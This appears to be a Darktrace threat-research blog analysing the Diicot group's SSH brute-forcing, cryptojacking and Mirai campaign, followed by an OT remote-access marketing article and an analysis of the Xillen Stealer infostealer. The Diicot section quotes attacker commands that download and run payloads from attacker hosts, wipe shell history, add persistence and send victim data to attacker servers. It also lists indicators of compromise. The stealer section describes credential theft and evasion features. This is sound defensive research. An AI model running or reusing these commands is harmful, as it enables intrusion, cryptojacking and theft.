June 15, 2023

Tracking Diicot: An Emerging Romanian Threat Actor

Cado researchers (now part of Darktrace) identified a campaign by the threat actor Diicot, focusing on SSH brute-forcing and cryptojacking. Diicot utilizes custom tools, modified packers, and Discord for C2, and has expanded its capabilities to include doxxing and DDoS attacks via a Mirai-based botnet.

Written by

Nate Bill

Threat Researcher

Inside the SOC

Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.

Written by

Nate Bill

Threat Researcher

Jun 2023

Introduction

In a review of honeypot sensor telemetry in early 2023, researchers from Cado Security Labs, (now part of Darktrace) detected an attack pattern that could be attributed to the threat actor Diicot (formerly, “Mexals”).

Investigation of a command-and-control (C2) server used by Diicot led to the discovery of several payloads, some of which did not appear to have any public reporting and were missing from common public malware repositories. It appears that these payloads were being used as part of a new campaign by this emerging group.

As this blog will discuss, Diicot capabilities and objectives include:

The deployment of a self-propagating initial access tool
Use of custom packers to obfuscate binary payloads
Widespread cryptojacking on compromised targets
Identification of vulnerable systems via internet scanning
Personal data exposure of perceived enemies (doxxing)
Deployment of a botnet agent implicated in distributed denial-of-service (DDoS) attacks
C2 reporting via Discord and a custom API endpoint

Diicot background

Information about Diicot is sparse, but to summarize two of the available resources, they appear to have been active since at least 2020 and are known for conducting cryptojacking campaigns and developing Malware-as-a-Service (MaaS) strains. The group originally referred to themselves as Mexals but have since changed to the name Diicot. The Diicot name is significant, as it is also the name of the Romanian organized crime and anti-terrorism policing unit. In addition, artifacts from the group’s campaigns contain messaging and imagery related to this organization. This, combined with the presence of Romanian-language strings and log statements in the payloads themselves, have led prior researchers to attribute the malware to a group based in Romania [1,2].

Although Diicot have traditionally been associated with cryptojacking campaigns, researchers discovered evidence of the group deploying an off-the-shelf Mirai-based botnet agent, named Cayosin. Deployment of this agent was targeted at routers running the Linux-based embedded devices operating system, OpenWrt [3].

The use of Cayosin demonstrates Diicot’s willingness to conduct a variety of attacks (not just cryptojacking) depending on the type of targets they encounter. This finding is consistent with external research, suggesting that the group are still investing engineering effort into deploying Cayosin [4]. In doing so, Diicot have gained the ability to conduct DDoS attacks, as this is the primary objective of Cayosin according to previous reporting.

Not only do Diicot have the ability to conduct cryptojacking and DDoS attacks, but investigation of one of their servers led to the discovery of a Romanian-language video depicting a feud between the group and what appears to be other online personas.

It is suspected that these personas are members of a rival hacking group. During the course of the video, members of the rival group are mentioned and their personal details, including photographs, home addresses, full names and online handles are exposed (known as doxxing). From this, it can be concluded that the group are actively involved in doxxing members of the public, in addition to the nefarious activities mentioned above.

For the purpose of avoiding overlap with existing research on Diicot, this blog will provide a brief overview of Diicot’s Tactics, Techniques and Procedures (TTPs) along with the execution chain employed by the group in their latest campaign, before focusing on the latest version of their self-propagating SSH brute-forcer.

Diicot TTPs

Attributing a campaign to Diicot is often straightforward, thanks to the group’s relatively distinctive TTPs. Prior research has shown that Diicot make heavy use of the Shell Script Compiler (shc) [5], presumably to make analysis of their loader scripts more difficult. They also frequently pack their payloads with a custom version of UPX, using a header modified with the bytes 0x59545399. This byte sequence is easily identified by tools, and in combination with a specified offset, can be used as a detection mechanism for the group’s binary payloads.

Use of a modified UPX header prevents unpacking via the standard upx -d command. Fortunately, the upx_dec utility created by Akamai can be used to circumvent this. Running the tool restores the header to the format that UPX expects, allowing the binary to be unpacked as normal.

Diicot also rely heavily on the instant messaging and communication platform Discord for C2. Discord supports HTTP POST requests to a webhook URL, allowing exfiltrated data and campaign statistics to be viewed within a given channel. Cado researchers identified four distinct channels used for this campaign, details of which can be found in the Indicators of Compromise (IoCs) section. Thanks to the inclusion of Snowflake timestamps in the hook URLs, it’s possible to view their creation date. This confirms that the campaign was recent and ongoing at the time of writing

Figure 2: Snowflake timestamp conversion for main C2 webhook

All of these channels were created within an 11-minute timeframe on April 26, 2023. It is likely that an automated process is responsible for the channel creation.

Based on Discord webhook URLs discovered in the samples, it was possible to determine that the Discord account used to create them was “Haceru#1337”.

Additionally, the guild ID for the webhooks is 1100412946003275858, and the following channel IDs are used:

1100669252161249321 for the webhook in the toDiscord function
1100665251655069716 for the webhook in the toFilter function
1100665176862232606 for the webhook in the toFilter2 function
1100665020934787072 for the webhook in the toFilter3 function

The Discord hook is the Discord default “Captain Hook” webhook, but webhooks for toFilter* have the name “Filter DIICOT”.

Figure 3: An image of the SIAS police taskforce, which is part of the Diicot agency.

Payload execution

Diicot campaigns generally involve a long execution chain, with individual payloads and their outputs forming interdependent relationships.

Shc executables are typically used as loaders and prepare the system for mining via Diicot’s custom fork of XMRig, along with registering persistence. Executables written in Golang tend to be dedicated to scanning, brute-forcing and propagation, and a fork of the zmap [6] internet scanning utility has often been observed.

The execution chain itself remains largely consistent with campaigns reported by the external researchers previously mentioned, with updates to the payloads themselves observed during Cado Labs’ analysis.

aliases

Initial access for the Diicot campaign is via a custom SSH brute-forcing tool, named aliases. This executable [7] is a 64-bit ELF written in Golang, and is responsible for ingesting a list of target IP addresses and username/password pairs to conduct a brute force attack.

bins.sh

bins.sh is executed if aliases encounters an OpenWrt router during the initial access phase, bins.sh is a fairly generic Mirai-style spreader script that attempts to retrieve versions of the Cayosin botnet’s agent for multiple architectures.

cutie.<arch>

cutie.<arch> is a series of 32-bit ELF binaries retrieved by bins.sh if an OpenWrt router is encountered. cutie.<arch> is a variant of Mirai, specifically Cayosin [8]. Cursory inspection of the ARM variant using open-source intelligence (OSINT) shows a high detection ratio, with most vendors detecting the executable as Mirai [9]. This suggests that the malware has not been customized by Diicot for this campaign.

payload

payload is a 64-bit ELF shc executable that simply calls out to bash and runs a shell script in memory. The script acts as a loader, preparing the target system for cryptocurrency mining, changing the password of the current user, and installing XMRig if the target has more than four processor cores.

When changing the user’s password, some simple logic is included to determine whether the user ID is equal to 0 (root). If so, the password is changed to a hardcoded value of $6$REY$R1FGJ.zbsJS/fe9eGkeS1pdWgKbdszOxbUs/E0KtxPsRE9jUCIXkxtC" "MJ9bB1YwOYhKWSSbr/' (inclusive of whitespace and double quotes).

If the user is not root, “payload” will generate a password by running the date command, piping this through sha256sum and then through base64. The first eight characters of the result are then used for the password itself.

“payload” also removes any artifacts of prior compromise (a common preparatory action taken by cryptojacking groups) and reports information such as username, password, IP address and number of cores back to an attacker-controlled IP.

.diicot

.diicot is another shc executable serving as a loader for an additional executable named Opera, which is the XMRig miner deployed by Diicot. .diicot begins with an existence check for Opera and retrieves it along with a XMRig configuration file if it doesn’t exist. The details of the mining configuration are viewable in the IoCs section.

After retrieving and executing the miner, .diicot registers an attacker-controlled SSH key to maintain access to the system. It also creates a simple script under the path /var/tmp/Documents/.b4nd1d0 which is used to relaunch the miner if it’s not running and executes this via cron at a frequency of every minute.

The sample also checks whether the SSH daemon is running, and executes it if not, before proceeding to automate this functionality as part of a systemd service. The service is saved as /lib/systemd/system/myservice.service and is configured to execute on boot.

echo '[Unit] 
Description=Example systemd service. 
[Service]" "=3600 
ExecStart=/bin/bash /usr/bin/sshd 
[Install] 
WantedBy=multi-user.target' > /lib/systemd/system/myservice.service 
sleep 1 
chmod 644 /lib/systemd/system/myservice.service 
systemctl enable myservice 
systemctl start myservice

Example commands to register and load the sshd systemd service

Chrome

Chrome is an internet scanner that appears to be based on Zmap. The main difference between the Diicot fork and the original is the ability to write the scan results to a text file in the working directory, with a hardcoded name of bios.txt. This is then read by aliases as a target list for conducting SSH brute-forcing.

Update

Update is another shc executable that retrieves Chrome and aliases if they don’t exist. Update also writes out a hardcoded username/password combination list to a file named protocols in the working directory. This is also read by aliases and used for SSH brute-forcing. Update also includes logic to generate a randomised /16 network prefix. Chrome is then run against this address range. A cronjob is also created to run History and Update and is saved as .5p4rk3l5 before being loaded.

History

History is a very simple plaintext (i.e. uncompiled) shell script that checks whether Update is running and executes it if not; the results of which are logged to standard out.

Analysis of aliases

The sample of aliases we obtained was located at 45[.]88[.]67[.]94/.x/aliases. The last modified header in the HTTP response indicates that it was uploaded to the server on the May 27 when Cado researchers first obtained it, but was updated again on June 5th.

main

This is the main entry point of the go binary. Upon launch, it performs a HTTP GET request to hxxp://45[.]88[.]67[.]94/diicotapi/skema0803 (skema0803 appears to be a hardcoded API key that appears in many Diicot samples). If this fails, or the response does not contain a Discord webhook, then the malware exits with an error message stating that the API was unreachable.

The malware then calls readLines on bios.txt to load a list of IPs to attack, and again on protocols to load a space-delimited list of credentials to attack each IP with. It repeats this process twice, once for port 22, and again for port 2000.

Once this is complete, it spawns a new goroutine (a lightweight thread) for each address and credential combination, with a small delay between each spawn. The goroutine executes the remoteRun function. The main thread applies a 60 second timeout to the goroutines, and exits once there are none left.

init_0

The init_0 function appears to be the result of go optimization. It loads a number of variables into qwords in the .bss section of the binary, including a stringified shell script (referred to above as payload) that is ultimately run on compromised machines. These qwords are then used at various points in the malware.

Interestingly, there is another call here to the diicotapi, and the webhook retrieved is saved into a qword. This does not appear to be used anywhere, making it likely leftover from a previous iteration of aliases.

toDiscord

The toDiscord function takes in a string and concatenates it into a curl command, which is then executed via bash. As they have used the go HTTP client module elsewhere, it is unclear why they have decided to use curl instead of it.

toFilter*

The three toFilter functions are the same as toDiscord but with different URLs. They are used later on to send details of the compromised machines to separate Discord channels based on the outcome of the payload script executed on freshly compromised machines. The payload either additionally deploys a cryptominer if the host has four or more cores or just uses the host as a spreader if it has less. It would make sense that they would want to track which hosts are being used to mine and which are being used to spread.

toApi

The toApi function is similar to the toDiscord and toFilter functions, but sends requests to the attacker’s API. The string passed into the function is first written to /tmp/.txt, and then base64 encoded and passed into an environmental variable called “haceru” (Romanian for hacker). It then executes curl -s arhivehaceru[.]com:2121/api?haceru=$haceru to report this string back to the C2 server.

remoteRun

The remoteRun function takes in an IP, port, and credential pair. It uses the crypto/ssh go package to connect and attempt to authenticate using the details provided. After a successful login, a series of commands are executed to gather information about the compromised system:

uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }

This fetches the uptime of the system, which can be useful for determining if the compromised system is a sandbox, which would likely have a low uptime.

lspci | egrep VGA && lspci | grep 3D

This fetches a list of graphics devices connected to the system, which can be used for mining cryptocurrency. However, Diicot’s choice of crypto is Monero, which is typically CPU mined rather than GPU mined.

lscpu | egrep "Model name:" | cut -d ' ' -f 14-

This fetches the model of CPU installed in the system, which will determine how quickly the server can mine Monero.

curl ipinfo.io/org

This fetches the organization associated with the ASN of the compromised machine's IP address.

nproc

This fetches the number of processes running on the compromised machine. Sandboxes and honeypots will typically have fewer running processes, so this information assists Diicot with determining if they are in a sandbox.

uname -s -v -n -r -m

This fetches the system hostname, kernel & operating system version information, and arch. This is used to determine whether to infect the machine or not, based on a string blacklist.

Once this is complete, the malware checks that the output of uname contains OpenWrt. If it does, it executes the following command to download bins.sh, the Mirai spreader:

<code>cd /var/tmp || cd /tmp/ ; wget -q hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh || curl -O -s -L hxxp://84[.]54[.]50[.]198/pedalcheta/bins.sh ; chmod 777 bins.sh; sh bins.sh ; rm -rf .* ; rm -rf * ; history -c ; rm -rf ~/.bash_history</code>

The malware then continues (regardless of whether the system is running OpenWrt) to check the output of uname against a blacklist of strings, which include various cloud providers such as AWS, Linode, and Azure among more generic strings like specific kernel versions and specific services.

It is unclear why exactly this is. The most likely case is that once they detect that payload did not run properly (sent via one of the toFilter webhooks) they simply blacklist the uname to avoid trying to infect it in the future. It could also be to prevent the malware from running on honeypots, or cloud providers that are likely to detect the cryptominer. It also checks the architecture of the system, as Opera, the custom fork of XMRig, appears to be x86_64 only.

Once these checks have passed, the malware then runs the following script on the compromised host, which downloads and runs the shell script payload:

<code>crontab -r ; cd /var/tmp ; rm -rf /dev/shm/.x ; mkdir /var/tmp/Documents &gt; /dev/null 2&gt;&1 ; cd /var/tmp/ ; pkill Opera ; rm -rf xmrig  .diicot .black Opera ; rm -rf .black xmrig.1 ; pkill cnrig ; pkill java ; killall java ;  pkill xmrig ; killall cnrig ; killall xmrig ; wget -q arhivehaceru[.]com/payload || curl -O -s -L arhivehaceru[.]com/payload || wget -q 45[.]88[.]67[.]94/payload || curl -O -s -L 45[.]88[.]67[.]94/payload ; chmod 777 payload ; ./payload &gt; /dev/null 2&gt;&1 & disown ; history -c ; rm -rf .bash_history ~/.bash_history</code>

Depending on the environment, payload performs different functions. It either additionally deploys a cryptominer if the host has four or more cores, or just uses the host as a spreader if it has less. To keep track of this, one of the three toFilter methods will be used depending on the output of the executed command. It constructs a Discord embed, and puts the credentials, IP, SSH port (22 or 2000), and output of the commands run during the discovery phase and invokes the chosen toFilter function with this data in JSON form.

Regardless of the toFilter function chosen, the same embed is also passed to toDiscord and toApi.

readLines

The readLines function is a utility function that takes in a file path and reads it into a list of lines. This function is used to load in the IP addresses to attack and the credential combinations to try against them.

Conclusion

Diicot are an emerging threat group with a range of objectives and the technical knowledge to act on them. This campaign specifically targets SSH servers exposed to the internet with password authentication enabled. The username/password list they use is relatively limited and includes default and easily-guessed credential pairs.

The research team encourages readers to implement basic SSH hardening to defend against this malware family, including mandatory key-based authentication for SSH instances and implementation of firewall rules to limit SSH access to specific IPs.

A lengthy and convoluted execution chain can make analysis of a Diicot campaign feel laborious. The group also employs basic obfuscation techniques, such as compiling shell scripts with shc and using a modified UPX header for their binary payloads. These techniques are easily bypassed as an analyst, often revealing executables without further obfuscation and with debug symbols intact.

The payloads themselves are often noisy in their operation, as is expected with any brute-forcing malware. Scanning attempts from Diicot’s fork of Zmap are particularly noisy and can result in a multitude of outbound SYN packets to addresses within a random /16 network prefix. This activity should be easily identified by administrators with adequate network monitoring in place.

Indicators of compromise

Discord webhooks

hxxps://discord[.]com/api/webhooks/1100669270297419808/UQ2bkUBe9JgAhtEIPYqpqKG6YVRW1fqEkadAY3u6PPmcgEVcYaSRiS37JILi2Vk32or6

hxxps://discord[.]com/api/webhooks/1100666861424754708/pAzInuz8ekK5DmKyoKxmG4H8euCtLkBXZnS33EGnxdl0_hkL5OdRbInQqgdGiQ1U41WF

hxxps://discord[.]com/api/webhooks/1100666766339866694/ex_yUegpCF4NXGkT3sGFp3oWFUkJWE7XarcgTHRcAwmJQtG4pALhcj6PjKUTthNz_0u_

hxxps://discord[.]com/api/webhooks/1100666664623812650/_t9NyLTT_Rbg_Vr14n6YCBkseXrz-RpSe94SFIw-1Pyrkns80tU9uWJL3yjc3eLXo0IU

URLs

arhivehaceru[.]com

Files : SHA-256

Update : 437af650493492c8ef387140b5cb2660044764832d1444e5265a0cd3fe6e0c39

aliases : de6dff4d3de025b3ac4aff7c4fab0a9ac4410321f4dca59e29a44a4f715a9864

aliases (variant) : a163da5c4d6ee856a06e4e349565e19a704956baeb62987622a2b2c43577cdee

Chrome : 14779e087a764063d260cafa5c2b93d7ed5e0d19783eeaea6abb12d17561949a

History : e9bbe9aecfaea4c738d95d0329a5da9bd33c04a97779172c7df517e1a808489c

.diicot : 7389e3aada70d58854e161c98ce8419e7ab8cd93ecd11c2b0ca75c3cafed78cb

bins.sh : 180d30bf357bc4045f197b26b1b8941af9ca0203226a7260092d70dd15f3e6ab

cutie.x86_64 : 7d93419e78647d3cdf2ff53941e8d5714afe09cb826fd2c4be335e83001bdabf

payload : d0e8a398a903f1443a114fa40860b3db2830488813db9a87ddcc5a8a337edd73

… : 6bce1053f33078f3bbbd526162d9178794c19997536b821177f2cb0d4e6e6896

Opera : aabf2ef1e16a88ae0d802efcb2525edb90a996bb5d280b4c61d2870351e3fba4

IP addresses

45[.]88[.]67[.]94

84[.]54[.]50[.]198

SSH keys

ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEAoBjnno5GBoIuIYIhrJsQxF6OPHtAbOUIEFB+gdfb1tUTjs+f9zCMGkmNmH45fYVukw6IwmhTZ+AcD3eD "iImmgU9wlw/lalf/WrIuCDp0PArQtjNg/vo7HUGq9SrEIE2jvyVW59mvoYOwfnDLUiguKZirZgpjZF2DDKK6WpZVTVpKcH+HEFdmFAqJInem/CRUE0bqjMr88bUyDjVw9FtJ5EmQenctjrFVaB7hswOaJBmFQmn9G/BXkMvZ6mX7LzCUM2PVHnVfVeCLdwiOINikzW9qzlr8WoHw4qEGJLuQBWXjJu+m2+FdaOD6PL53nY3w== ElPatrono1337

Mining pools

45[.]88[.]67[.]94:7777

139[.]99[.]123[.]196:80

pool[.]supportxmr[.]com:80

Mining pool usernames

87Fxj6UDiwYchWbn2k1mCZJxRxBC5TkLJQoP9EJ4E9V843Z9ySeKYi165Gfc2KjxZnKdxCkz7GKrvXkHE11bvBhD9dbMgQe

Mining pool passwords

proxy0

proxy1

proxy2

Paths

/var/tmp/Documents/

/var/tmp/Documents/.b4nd1d0

/var/tmp/Documents/.5p4rk3l5

/var/tmp/Documents/Opera

/var/tmp/Documents/.diicot

/var/tmp/.update-logs

/tmp/...

/var/tmp/.ladyg0g0/

/var/tmp/.ladyg0g0/.pr1nc35

/lib/systemd/system/myservice.service

/usr/bin/.pidsclip

/usr/bin/.locatione

References

執筆者

Nate Bill

Threat Researcher

Inside the SOC

Written by

Nate Bill

Threat Researcher

Product Marketing Manager, OT Security & Compliance

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OT

November 20, 2025

Managing OT Remote Access with Zero Trust Control & AI Driven Detection

The shift toward IT-OT convergence

Recently, industrial environments have become more connected and dependent on external collaboration. As a result, truly air-gapped OT systems have become less of a reality, especially when working with OEM-managed assets, legacy equipment requiring remote diagnostics, or third-party integrators who routinely connect in.

This convergence, whether it’s driven by digital transformation mandates or operational efficiency goals, are making OT environments more connected, more automated, and more intertwined with IT systems. While this convergence opens new possibilities, it also exposes the environment to risks that traditional OT architectures were never designed to withstand.

The modernization gap and why visibility alone isn’t enough

The push toward modernization has introduced new technology into industrial environments, creating convergence between IT and OT environments, and resulting in a lack of visibility. However, regaining that visibility is just a starting point. Visibility only tells you what is connected, not how access should be governed. And this is where the divide between IT and OT becomes unavoidable.

Security strategies that work well in IT often fall short in OT, where even small missteps can lead to environmental risk, safety incidents, or costly disruptions. Add in mounting regulatory pressure to enforce secure access, enforce segmentation, and demonstrate accountability, and it becomes clear: visibility alone is no longer sufficient. What industrial environments need now is precision. They need control. And they need to implement both without interrupting operations. All this requires identity-based access controls, real-time session oversight, and continuous behavioral detection.

The risk of unmonitored remote access

This risk becomes most evident during critical moments, such as when an OEM needs urgent access to troubleshoot a malfunctioning asset.

Under that time pressure, access is often provisioned quickly with minimal verification, bypassing established processes. Once inside, there’s little to no real-time oversight of user actions whether they’re executing commands, changing configurations, or moving laterally across the network. These actions typically go unlogged or unnoticed until something breaks. At that point, teams are stuck piecing together fragmented logs or post-incident forensics, with no clear line of accountability.

In environments where uptime is critical and safety is non-negotiable, this level of uncertainty simply isn’t sustainable.

The visibility gap: Who’s doing what, and when?

The fundamental issue we encounter is the disconnect between who has access and what they are doing with it.

Traditional access management tools may validate credentials and restrict entry points, but they rarely provide real-time visibility into in-session activity. Even fewer can distinguish between expected vendor behavior and subtle signs of compromise, misuse or misconfiguration.

As a result, OT and security teams are often left blind to the most critical part of the puzzle, intent and behavior.

Closing the gaps with zero trust controls and AI‑driven detection

Managing remote access in OT is no longer just about granting a connection, it’s about enforcing strict access parameters while continuously monitoring for abnormal behavior. This requires a two-pronged approach: precision access control, and intelligent, real-time detection.

Zero Trust access controls provide the foundation. By enforcing identity-based, just-in-time permissions, OT environments can ensure that vendors and remote users only access the systems they’re explicitly authorized to interact with, and only for the time they need. These controls should be granular enough to limit access down to specific devices, commands, or functions. By applying these principles consistently across the Purdue Model, organizations can eliminate reliance on catch-all VPN tunnels, jump servers, and brittle firewall exceptions that expose the environment to excess risk.

Access control is only one part of the equation

Darktrace / OT complements zero trust controls with continuous, AI-driven behavioral detection. Rather than relying on static rules or pre-defined signatures, Darktrace uses Self-Learning AI to build a live, evolving understanding of what’s “normal” in the environment, across every device, protocol, and user. This enables real-time detection of subtle misconfigurations, credential misuse, or lateral movement as they happen, not after the fact.

By correlating user identity and session activity with behavioral analytics, Darktrace gives organizations the full picture: who accessed which system, what actions they performed, how those actions compared to historical norms, and whether any deviations occurred. It eliminates guesswork around remote access sessions and replaces it with clear, contextual insight.

Importantly, Darktrace distinguishes between operational noise and true cyber-relevant anomalies. Unlike other tools that lump everything, from CVE alerts to routine activity, into a single stream, Darktrace separates legitimate remote access behavior from potential misuse or abuse. This means organizations can both audit access from a compliance standpoint and be confident that if a session is ever exploited, the misuse will be surfaced as a high-fidelity, cyber-relevant alert. This approach serves as a compensating control, ensuring that even if access is overextended or misused, the behavior is still visible and actionable.

If a session deviates from learned baselines, such as an unusual command sequence, new lateral movement path, or activity outside of scheduled hours, Darktrace can flag it immediately. These insights can be used to trigger manual investigation or automated enforcement actions, such as access revocation or session isolation, depending on policy.

This layered approach enables real-time decision-making, supports uninterrupted operations, and delivers complete accountability for all remote activity, without slowing down critical work or disrupting industrial workflows.

Where Zero Trust Access Meets AI‑Driven Oversight:

Granular Access Enforcement: Role-based, just-in-time access that aligns with Zero Trust principles and meets compliance expectations. ‍
Context-Enriched Threat Detection: Self-Learning AI detects anomalous OT behavior in real time and ties threats to access events and user activity. ‍
Automated Session Oversight: Behavioral anomalies can trigger alerting or automated controls, reducing time-to-contain while preserving uptime. ‍
Full Visibility Across Purdue Layers: Correlated data connects remote access events with device-level behavior, spanning IT and OT layers. ‍
Scalable, Passive Monitoring: Passive behavioral learning enables coverage across legacy systems and air-gapped environments, no signatures, agents, or intrusive scans required.

Complete security without compromise

We no longer have to choose between operational agility and security control, or between visibility and simplicity. A Zero Trust approach, reinforced by real-time AI detection, enables secure remote access that is both permission-aware and behavior-aware, tailored to the realities of industrial operations and scalable across diverse environments.

Because when it comes to protecting critical infrastructure, access without detection is a risk and detection without access control is incomplete.

About the author

Pallavi Singh

Product Marketing Manager, OT Security & Compliance

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Network

November 21, 2025

Xillen Stealer Updates to Version 5 to Evade AI Detection

Introduction

Python-based information stealer “Xillen Stealer” has recently released versions 4 and 5, expanding its targeting and functionality. The cross-platform infostealer, originally reported by Cyfirma in September 2025, targets sensitive data including credentials, cryptocurrency wallets, system information, browser data and employs anti-analysis techniques.

The update to v4/v5 includes significantly more functionality, including:

Persistence
Ability to steal credentials from password managers, social media accounts, browser data (history, cookies and passwords) from over 100 browsers, cryptocurrency from over 70 wallets
Kubernetes configs and secrets
Docker scanning
Encryption
Polymorphism
System hooks
Peer-to-Peer (P2P) Command-and-Control (C2)
Single Sign-On (SSO) collector
Time-Based One-Time Passwords (TOTP) and biometric collection
EDR bypass
AI evasion
Interceptor for Two-Factor Authentication (2FA)
IoT scanning
Data exfiltration via Cloud APIs

Xillen Stealer is marketed on Telegram, with different licenses available for purchase. Users who deploy the malware have access to a professional-looking GUI that enables them to view exfiltrated data, logs, infections, configurations and subscription information.

Figure 1: Screenshot of the Xillen Stealer portal.

Technical analysis

The following technical analysis examines some of the interesting functions of Xillen Stealer v4 and v5. The main functionality of Xillen Stealer is to steal cryptocurrency, credentials, system information, and account information from a range of stores.

Xillen Stealer specifically targets the following wallets and browsers:

AITargetDectection

Figure 2: Screenshot of Xillen Stealer’s AI Target detection function.

The ‘AITargetDetection’ class is intended to use AI to detect high-value targets based on weighted indicators and relevant keywords defined in a dictionary. These indicators include “high value targets”, like cryptocurrency wallets, banking data, premium accounts, developer accounts, and business emails. Location indicators include high-value countries such as the United States, United Kingdom, Germany and Japan, along with cryptocurrency-friendly countries and financial hubs. Wealth indicators such as keywords like CEO, trader, investor and VIP have also been defined in a dictionary but are not in use at this time, pointing towards the group’s intent to develop further in the future.

While the class is named ‘AITargetDetection’ and includes placeholder functions for initializing and training a machine learning model, there is no actual implementation of machine learning. Instead, the system relies entirely on rule-based pattern matching for detection and scoring. Even though AI is not actually implemented in this code, it shows how malware developers could use AI in future malicious campaigns.

Figure 3: Screenshot of dead code function.

AI Evasion

‘AIEvasionEngine’ is a module designed to help malware evade AI-based or behavior-based detection systems, such as EDRs and sandboxes. It mimics legitimate user and system behavior, injects statistical noise, randomizes execution patterns, and camouflages resource usage. Its goal is to make the malware appear benign to machine learning detectors. The techniques used to achieve this are:

‍Behavioral Mimicking: Simulates user actions (mouse movement, fake browser use, file/network activity)‍
Noise Injection: Performs random memory, CPU, file, and network operations to confuse behavioral classifiers‍
Timing Randomization: Introduces irregular delays and sleep patterns to avoid timing-based anomaly detection‍
Resource Camouflage: Adjusts CPU and memory usage to imitate normal apps (such as browsers, text editors)‍
API Call Obfuscation: Random system API calls and pattern changes to hide malicious intent‍
Memory Access Obfuscation: Alters access patterns and entropy to bypass ML models monitoring memory behavior

PolymorphicEngine

As part of the “Rust Engine” available in Xillen Stealer is the Polymorphic Engine. The ‘PolymorphicEngine’ struct implements a basic polymorphic transformation system designed for obfuscation and detection evasion. It uses predefined instruction substitutions, control-flow pattern replacements, and dead code injection to produce varied output. The mutate_code() method scans input bytes and replaces recognized instruction patterns with randomized alternatives, then applies control flow obfuscation and inserts non-functional code to increase variability. Additional features include string encryption via XOR and a stub-based packer.

Collectors

DevToolsCollector

Figure 5: Screenshot of Kubernetes data function.

The ‘DevToolsCollector’ is designed to collect sensitive data related to a wide range of developer tools and environments. This includes:

IDE configurations

VS Code, VS Code Insiders, Visual Studio
JetBrains: Intellij, PyCharm, WebStorm
Sublime
Atom
Notepad++
Eclipse

Cloud credentials and configurations

AWS
GCP
Azure
Digital Ocean
Heroku

SSH keys

Docker & Kubernetes configurations

Git credentials

Database connection information

HeidiSQL
Navicat
DBeaver
MySQL Workbench
pgAdmin

API keys from .env files

FTP configs

FileZilla
WinSCP
Core FTP

VPN configurations

OpenVPN
WireGuard
NordVPN
ExpressVPN
CyberGhost

Container persistence

Figure 6: Screenshot of Kubernetes inject function.

Biometric Collector

The ‘BiometricCollector’ attempts to collect biometric information from Windows systems by scanning the C:\Windows\System32\WinBioDatabase directory, which stores Windows Hello and other biometric configuration data. If accessible, it reads the contents of each file, encodes them in Base64, preparing them for later exfiltration. While the data here is typically encrypted by Windows, its collection indicates an attempt to extract sensitive biometric data.

Password Managers

The ‘PasswordManagerCollector’ function attempts to steal credentials stored in password managers including, OnePass, LastPass, BitWarden, Dashlane, NordPass and KeePass. However, this function is limited to Windows systems only.

SSOCollector

The ‘SSOCollector’ class is designed to collect authentication tokens related to SSO systems. It targets three main sources: Azure Active Directory tokens stored under TokenBroker\Cache, Kerberos tickets obtained through the klist command, and Google Cloud authentication data in user configuration folders. For each source, it checks known directories or commands, reads partial file contents, and stores the results as in a dictionary. Once again, this function is limited to Windows systems.

TOTP Collector

The ‘TOTP Collector’ class attempts to collect TOTPs from:

Authy Desktop by locating and reading from Authy.db SQLite databases
Microsoft Authenticator by scanning known application data paths for stored binary files
TOTP-related Chrome extensions by searching LevelDB files for identifiable keywords like “gauth” or “authenticator”.

Each method attempts to locate relevant files, parse or partially read their contents, and store them in a dictionary under labels like authy, microsoft_auth, or chrome_extension. However, as before, this is limited to Windows, and there is no handling for encrypted tokens.

Enterprise Collector

The ‘EnterpriseCollector’ class is used to extract credentials related to an enterprise Windows system. It targets configuration and credential data from:

VPN clients
- Cisco AnyConnect, OpenVPN, Forticlient, Pulse Secure
RDP credentials
Corporate certificates
Active Directory tokens
Kerberos tickets cache

The files and directories are located based on standard environment variables with their contents read in binary mode and then encoded in Base64.

Super Extended Application Collector

The ‘SuperExtendedApplication’ Collector class is designed to scan an environment for 160 different applications on a Windows system. It iterates through the paths of a wide range of software categories including messaging apps, cryptocurrency wallets, password managers, development tools, enterprise tools, gaming clients, and security products. The list includes but is not limited to Teams, Slack, Mattermost, Zoom, Google Meet, MS Office, Defender, Norton, McAfee, Steam, Twitch, VMWare, to name a few.

Bypass

AppBoundBypass

This code outlines a framework for bypassing App Bound protections, Google Chrome' s cookie encryption. The ‘AppBoundBypass’ class attempts several evasion techniques, including memory injection, dynamic-link library (DLL) hijacking, process hollowing, atom bombing, and process doppelgänging to impersonate or hijack browser processes. As of the time of writing, the code contains multiple placeholders, indicating that the code is still in development.

Steganography

The ‘SteganographyModule’ uses steganography (hiding data within an image) to hide the stolen data, staging it for exfiltration. Multiple methods are implemented, including:

Image steganography: LSB-based hiding
NTFS Alternate Data Streams
Windows Registry Keys
Slack space: Writing into unallocated disk cluster space
Polyglot files: Appending archive data to images
Image metadata: Embedding data in EXIF tags
Whitespace encoding: Hiding binary in trailing spaces of text files

Exfiltration

CloudProxy

The CloudProxy class is designed for exfiltrating data by routing it through cloud service domains. It encodes the input data using Base64, attaches a timestamp and SHA-256 signature, and attempts to send this payload as a JSON object via HTTP POST requests to cloud URLs including AWS, GCP, and Azure, allowing the traffic to blend in. As of the time of writing, these public facing URLs do not accept POST requests, indicating that they are placeholders meant to be replaced with attacker-controlled cloud endpoints in a finalized build.

P2PEngine

The ‘P2PEngine’ provides multiple methods of C2, including embedding instructions within blockchain transactions (such as Bitcoin OP_RETURN, Ethereum smart contracts), exfiltrating data via anonymizing networks like Tor and I2P, and storing payloads on IPFS (a distributed file system). It also supports domain generation algorithms (DGA) to create dynamic .onion addresses for evading detection.

After a compromise, the stealer creates both HTML and TXT reports containing the stolen data. It then sends these reports to the attacker’s designated Telegram account.

Xillen Killers

Xillen Stealer appears to be developed by a self-described 15-year-old “pentest specialist” “Beng/jaminButton” who creates TikTok videos showing basic exploits and open-source intelligence (OSINT) techniques. The group distributing the information stealer, known as “Xillen Killers”, claims to have 3,000 members. Additionally, the group claims to have been involved in:

Analysis of Project DDoSia, a tool reportedly used by the NoName057(16) group, revealing that rather functioning as a distributed denial-of-service (DDos) tool, it is actually a remote access trojan (RAT) and stealer, along with the identification of involved individuals.
Compromise of doxbin.net in October 2025.
Discovery of vulnerabilities on a Russian mods site and a Ukrainian news site

